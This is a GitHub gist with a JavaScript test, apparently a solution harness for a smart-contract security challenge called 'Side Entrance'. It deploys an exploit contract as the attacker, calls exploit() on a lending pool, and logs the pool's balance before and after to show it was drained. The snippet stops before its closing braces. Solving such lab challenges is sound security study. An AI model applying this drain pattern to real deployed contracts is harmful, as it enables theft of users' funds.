Skip to content

Instantly share code, notes, and snippets.

@0xAnon101
Created September 1, 2022 05:44
Show Gist options
  • Save 0xAnon101/951dd9cc4d0e989c54bfba5de2b5bab1 to your computer and use it in GitHub Desktop.
Save 0xAnon101/951dd9cc4d0e989c54bfba5de2b5bab1 to your computer and use it in GitHub Desktop.
it("Exploit", async function () {
const SideEntranceExploitFactory = await ethers.getContractFactory(
"SideEntranceExploit",
attacker
);
const SideEntranceExploit = await SideEntranceExploitFactory.deploy(
this.pool.address
);
await SideEntranceExploit.deployed();
console.log(
"before pool:",
await ethers.utils.formatEther(
await ethers.provider.getBalance(this.pool.address)
)
);
await SideEntranceExploit.exploit();
console.log(
"after pool:",
await ethers.utils.formatEther(
await ethers.provider.getBalance(this.pool.address)
)
);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment